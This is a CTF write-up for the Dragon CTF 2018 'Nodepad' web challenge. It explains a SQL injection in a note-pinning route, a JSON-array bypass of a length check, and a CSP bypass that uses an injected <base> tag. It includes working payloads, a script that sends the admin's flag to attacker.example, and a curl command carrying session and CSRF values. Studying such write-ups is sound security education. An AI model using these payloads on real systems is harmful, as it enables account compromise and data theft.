Tags: sqli web csp xss 

Rating: 5.0

*([Original write-up](https://security.meta.stackexchange.com/questions/3057/write-ups-teaser-dragon-ctf-2018-sa-29-sept-2018-1200-utc-so-30-sept-2/3076#3076) by [@rawsec](https://twitter.com/rawsec/))*

## Nodepad (web, medium)

Nodepad is a Node.js web application powered by the Express framework and a PostgreSQL backend DB. It allows users to register, log in and create simple notes. Additionally, there is an admin bot visiting every note that is reported to them in the latest version of Google Chrome.

*The entire challenge setup was published beforehand ([source mirror](https://www68.zippyshare.com/v/ErAkmpqQ/file.html
)). Also, if you didn't participate in the CTF, I'd encourage you to set up the challenge locally and attempt it yourself first, before reading the writeup. :)*

## What's the admin bot doing?

From looking at the admin bot at `bin/process_reports`, we learn that once a note is reported, the admin logs in and visits `/admin/${id}` where `id` is the ID of reported note. Clearly, we somehow need to XSS the admin and exfiltrate the flag.

Let's check out `routes/admin.js`. The flag can apparently be fetched from `/admin/flag`:

router.get('/flag', (req, res) => {
res.render('index', {notices: [process.env.FLAG]});

And the admin's note view is essentially the same as any user's note view:

router.get('/:noteId(\\d+)', async (req, res) => {
const notes = await req.db.all `SELECT id, title, content FROM notes WHERE id = ${req.params.noteId}`;
res.render('notes', {notes});

So if there's an XSS flaw, it must be in the note view.

## O XSS, where art thou?

The current notes are fetched as JSON, `JSON.stringify`'ed and inserted as an inline script:

<script nonce="78172121522105a149287e6d32966f43">
window.notes = [{"id":2597,"title":"foo","content":"bar","pinned":true}, ...];

Then, a script (`/public/javascripts/notes.js`) is inserting the notes into the page. But wait, it's inserting the note title via jQuerys [`.html()`](https://api.jquery.com/html/#html-htmlString) instead of using the safe `.text()`:

function createNote(note) {

So if we could get HTML into a note title, we had stored XSS.

## How to get HTML into a note?

Sadly, the app is testing the title and body of every new note against `/[<>]/`. So, there's no way to submit a note with angle brackets in it:

router.post('/new', async (req, res) => {
const regex = /[<>]/;

let errors = [];
if (regex.test(req.body.title)) {
errors.push('Title is invalid');

if (regex.test(req.body.content)) {
errors.push('Content is invalid');

if (errors.length !== 0) {
return res.render('new', {errors});

// [If there are no errors, insert note into DB]

If we can't get HTML into a note regularly, we need an SQL injection...

## Where's the SQLi?

SQL queries in the app are written as [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals), e.g.:

await req.db.run `DELETE FROM notes WHERE user_id = ${req.session.userId} AND id = ${req.params.noteId}`;

That's an elegant way of protecting against SQL injections. Note how there are no brackets after `req.db.run`. The way template literals work is that this is essentially calling:

["DELETE FROM notes WHERE user_id = ", " AND id = ", ""],

Like with *prepared statements*, you can see that the query is separated from the data. The DB adapter is processing the arguments so that this ends up as the following query:

sql_query("DELETE FROM notes WHERE user_id = $1 AND id = $2", req.session.userId, req.params.noteId)

Pretty tamper-proof, eh?

## Pinning down the bug

Luckily, the query for pinning a note has a subtle bug:

router.post('/:noteId(\\d+)/pin', async (req, res) => {
if (req.body.value && req.body.value.length === 1) {
const result = await req.db.run(`UPDATE notes SET pinned = ${req.body.value}::boolean WHERE id = ${req.params.noteId}`);
if (result.error) {
return res.render('index', {errors: ['An error occurred']});

`req.db.run` is called with brackets! This means, it looks like a prepared statement, but it's not. The whole query is turned into a single string before it's passed to `db.run`. So the app treats it as one single fixed query without any parameters, e.g.:

sql_query("UPDATE notes SET pinned = 1::boolean WHERE id = 1234")

instead of

sql_query("UPDATE notes SET pinned = $1 ::boolean WHERE id = $2", req.body.value, req.params.noteId)

Nice, that's an SQLi! But there's another nasty check. Looking at the pinning function again, we find that it first checks that:

req.body.value && req.body.value.length === 1

Looks like we can only SQL-inject a single character - which would be useless.

## Bypassing the length check

These Node.js apps accept other request content types than just `application/x-www-form-urlencoded`. So we can trick the length check by sending JSON (`application/json`) instead which will be parsed as a JS object on the server side. These requests are equivalent:



{"_csrf": "", "value": 1}

Now, a simple trick to pass `value.length === 1` is by sending an array with one element instead of a string or number:

{"_csrf": "ilkJroTE-mNtLgELBHLjGP8t2WGsI9TFPkq8", "value": ["more than one character!"]}

This way, we can finallly construct an SQLi payload. The following payload should insert a script tag into our note title:

1::boolean, title='<script>alert(1)</script>' WHERE id = 2597--

which ends up as

UPDATE notes SET pinned = 1::boolean, title='<script>alert()</script>' WHERE id = 2597-- ::boolean WHERE id = 2597

## A wild CSP appears

Not so fast. The app has implemented a CSP which will block all inline scripts unless they are tagged with a dynamic random nonce:

default-src 'none';
script-src 'nonce-a74039264943f5779bc51f89bf4701c3' 'strict-dynamic';
style-src 'self' https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css;
img-src 'self';
connect-src 'self';
frame-src https://www.google.com/recaptcha/;
form-action 'self';

Our XSS injection point in the title is useless! But there's another one. Remember that the note data is injected in an inline script via `JSON.stringify()`? `JSON.stringify` doesn't sanitize angle brackets, so we can inject tags into the HTML `<head>` of the document, which will look something like this:

<script nonce="78172121522105a149287e6d32966f43">
window.notes = [{"id":2597,"title":"</script>[INJECT TAGS HERE]","content":"bar","pinned":true}, ...];
<script nonce="78172121522105a149287e6d32966f43" src="/javascripts/notes.js"></script>

Err... how does that help? We still don't have the random nonce.

## Drop that base

Notice how the second `<script>` in the head has a `nonce` attribute and is a *relative* URL? We can redirect that script somewhere else by injecting a [`<base>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base) tag before it.

So, if we inject `<base href="http://attacker.example/">` before the relative remote script, the browser will request `http://attacker.example/javascripts/notes.js` instead, which satisfies the CSP rules.

Our injected `notes.js` can then just fetch the flag and log it somewhere:

fetch(location.protocol + '//' + location.host + '/admin/flag').then((res) => {
res.text().then((text) => {
location.href = 'http://attacker.example/log?' + btoa(text);

Now, let's insert that final payload into our note title:

$ curl \
--cookie "connect.sid=s%3AYkjGROGerhwE4mzWp_O7zuNy4Rm2r1P_.rEMh%2FeI3LjlMQmglgwP7CDt5j1RVlIJvVZPkwpmEkb8" \
--header "Content-type: application/json" \
--data "{ \
\"_csrf\": \"ilkJroTE-mNtLgELBHLjGP8t2WGsI9TFPkq8\", \
\"value\": [\"1::boolean, title='</script><base href=http://attacker.example/>' WHERE id = 2597--\"] \
}" \

After reporting that note to the admin, it'll leak the HTML content of `/admin/flag` to our logger and we can extract the flag: